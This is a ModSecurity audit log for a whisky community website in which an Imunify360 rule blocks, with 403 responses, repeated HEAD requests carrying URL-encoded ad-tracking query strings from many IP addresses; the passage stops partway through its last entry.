HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.76
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--2f0fc71a-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--2f0fc71a-E--

--2f0fc71a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273865547233 6225 (- - -)
Stopwatch2: 1789273865547233 6225; combined=4626, p1=258, p2=4012, p3=75, p4=8, p5=273, sr=112, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2f0fc71a-Z--

--91635922-A--
[13/Sep/2026:07:31:05.904126 +0300] aqYnCWM7dE9KgIIOpQhiRwAAAMQ 151.243.174.165 44982 127.0.0.1 7081
--91635922-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.165
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--91635922-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--91635922-E--

--91635922-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273865894413 9810 (- - -)
Stopwatch2: 1789273865894413 9810; combined=6783, p1=463, p2=5693, p3=125, p4=10, p5=492, sr=271, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--91635922-Z--

--db8e1e5e-A--
[13/Sep/2026:07:31:05.928125 +0300] aqYnCWM7dE9KgIIOpQhiSAAAAMM 151.243.174.190 44992 127.0.0.1 7081
--db8e1e5e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.190
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--db8e1e5e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--db8e1e5e-E--

--db8e1e5e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273865920189 8025 (- - -)
Stopwatch2: 1789273865920189 8025; combined=5771, p1=669, p2=4686, p3=101, p4=8, p5=307, sr=406, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--db8e1e5e-Z--

--bca2623b-A--
[13/Sep/2026:07:31:06.246847 +0300] aqYnCmM7dE9KgIIOpQhiSQAAANg 95.134.102.123 45006 127.0.0.1 7081
--bca2623b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.123
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--bca2623b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--bca2623b-E--

--bca2623b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273866240225 6663 (- - -)
Stopwatch2: 1789273866240225 6663; combined=5042, p1=257, p2=4408, p3=77, p4=9, p5=290, sr=113, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--bca2623b-Z--

--8c553c28-A--
[13/Sep/2026:07:31:06.286862 +0300] aqYnCkwu1RSkptiiNIXv9QAAAIk 151.243.174.108 45014 127.0.0.1 7081
--8c553c28-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.108
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--8c553c28-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--8c553c28-E--

--8c553c28-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273866278084 8831 (- - -)
Stopwatch2: 1789273866278084 8831; combined=6947, p1=230, p2=6227, p3=80, p4=9, p5=400, sr=96, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8c553c28-Z--

--f1779201-A--
[13/Sep/2026:07:31:29.883838 +0300] aqYnIWM7dE9KgIIOpQhiZwAAAM8 95.134.102.156 45098 127.0.0.1 7081
--f1779201-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.156
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--f1779201-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--f1779201-E--

--f1779201-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273889877732 6147 (- - -)
Stopwatch2: 1789273889877732 6147; combined=4593, p1=270, p2=3893, p3=74, p4=7, p5=348, sr=116, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f1779201-Z--

--7c943b46-A--
[13/Sep/2026:07:31:30.239394 +0300] aqYnIjTJ6xTvcJoem7f2kQAAAEw 95.134.102.169 45126 127.0.0.1 7081
--7c943b46-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.169
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--7c943b46-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--7c943b46-E--

--7c943b46-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273890233537 5904 (- - -)
Stopwatch2: 1789273890233537 5904; combined=4425, p1=260, p2=3759, p3=75, p4=8, p5=323, sr=97, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7c943b46-Z--

--62079f71-A--
[13/Sep/2026:07:31:30.444472 +0300] aqYnImM7dE9KgIIOpQhiagAAAMY 151.243.174.221 45142 127.0.0.1 7081
--62079f71-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.221
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--62079f71-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--62079f71-E--

--62079f71-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273890438252 6271 (- - -)
Stopwatch2: 1789273890438252 6271; combined=4693, p1=213, p2=4140, p3=72, p4=7, p5=260, sr=81, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--62079f71-Z--

--6d75e57f-A--
[13/Sep/2026:07:31:30.730964 +0300] aqYnImM7dE9KgIIOpQhibAAAAMQ 95.134.102.152 45160 127.0.0.1 7081
--6d75e57f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--6d75e57f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--6d75e57f-E--

--6d75e57f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273890723435 7570 (- - -)
Stopwatch2: 1789273890723435 7570; combined=4980, p1=321, p2=4315, p3=70, p4=8, p5=266, sr=174, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6d75e57f-Z--

--0fd0ee6f-A--
[13/Sep/2026:07:31:31.161347 +0300] aqYnI0wu1RSkptiiNIXv-gAAAI8 95.134.102.132 45270 127.0.0.1 7081
--0fd0ee6f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.132
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--0fd0ee6f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--0fd0ee6f-E--

--0fd0ee6f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273891153406 7991 (- - -)
Stopwatch2: 1789273891153406 7991; combined=6179, p1=319, p2=5459, p3=90, p4=9, p5=302, sr=162, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0fd0ee6f-Z--

--cf903d01-A--
[13/Sep/2026:07:31:31.544964 +0300] aqYnI2M7dE9KgIIOpQhidwAAAMY 95.134.102.138 45288 127.0.0.1 7081
--cf903d01-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.138
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--cf903d01-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--cf903d01-E--

--cf903d01-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273891537754 7259 (- - -)
Stopwatch2: 1789273891537754 7259; combined=5772, p1=224, p2=4077, p3=69, p4=8, p5=1393, sr=96, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--cf903d01-Z--

--bdee3d34-A--
[13/Sep/2026:07:31:39.088951 +0300] aqYnK2M7dE9KgIIOpQhifwAAAM8 46.203.158.155 47862 127.0.0.1 7081
--bdee3d34-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 46.203.158.155
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--bdee3d34-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--bdee3d34-E--

--bdee3d34-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273899075089 13937 (- - -)
Stopwatch2: 1789273899075089 13937; combined=7864, p1=1058, p2=6144, p3=160, p4=9, p5=493, sr=131, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--bdee3d34-Z--

--a3bdc36e-A--
[13/Sep/2026:07:31:39.531881 +0300] aqYnK0wu1RSkptiiNIXv-wAAAJQ 91.124.31.252 47872 127.0.0.1 7081
--a3bdc36e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.252
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--a3bdc36e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--a3bdc36e-E--

--a3bdc36e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273899522503 9425 (- - -)
Stopwatch2: 1789273899522503 9425; combined=4861, p1=245, p2=4103, p3=66, p4=7, p5=440, sr=96, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a3bdc36e-Z--

--6c10cb4b-A--
[13/Sep/2026:07:31:39.917548 +0300] aqYnK0wu1RSkptiiNIXwAAAAAIc 46.203.158.22 47874 127.0.0.1 7081
--6c10cb4b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 46.203.158.22
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--6c10cb4b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--6c10cb4b-E--

--6c10cb4b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273899911598 6003 (- - -)
Stopwatch2: 1789273899911598 6003; combined=4370, p1=254, p2=3765, p3=94, p4=8, p5=248, sr=120, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6c10cb4b-Z--

--4615ec57-A--
[13/Sep/2026:07:31:41.474243 +0300] aqYnLWM7dE9KgIIOpQhiggAAAM4 209.101.128.215 47898 127.0.0.1 7081
--4615ec57-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 209.101.128.215
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--4615ec57-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--4615ec57-E--

--4615ec57-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273901468558 5742 (- - -)
Stopwatch2: 1789273901468558 5742; combined=4202, p1=234, p2=3641, p3=68, p4=8, p5=250, sr=100, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4615ec57-Z--

--40a21778-A--
[13/Sep/2026:07:31:41.777238 +0300] aqYnLWM7dE9KgIIOpQhigwAAAMk 45.91.4.215 47908 127.0.0.1 7081
--40a21778-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.215
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--40a21778-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--40a21778-E--

--40a21778-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273901763557 13734 (- - -)
Stopwatch2: 1789273901763557 13734; combined=6550, p1=2202, p2=4014, p3=66, p4=8, p5=259, sr=757, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--40a21778-Z--

--0b662528-A--
[13/Sep/2026:07:31:42.072379 +0300] aqYnLkwu1RSkptiiNIXwAwAAAJM 45.91.4.224 47926 127.0.0.1 7081
--0b662528-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.224
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--0b662528-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--0b662528-E--

--0b662528-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273902062128 10368 (- - -)
Stopwatch2: 1789273902062128 10368; combined=7554, p1=510, p2=6345, p3=93, p4=11, p5=594, sr=200, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0b662528-Z--

--71905234-A--
[13/Sep/2026:07:31:44.671349 +0300] aqYnMEwu1RSkptiiNIXwBAAAAII 151.243.174.180 47936 127.0.0.1 7081
--71905234-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.180
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--71905234-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--71905234-E--

--71905234-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273904664560 6832 (- - -)
Stopwatch2: 1789273904664560 6832; combined=4859, p1=316, p2=4166, p3=98, p4=8, p5=270, sr=130, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--71905234-Z--

--62f66569-A--
[13/Sep/2026:07:31:45.332750 +0300] aqYnMUwu1RSkptiiNIXwBQAAAIY 95.134.102.238 47944 127.0.0.1 7081
--62f66569-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.238
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--62f66569-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--62f66569-E--

--62f66569-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273905326794 6000 (- - -)
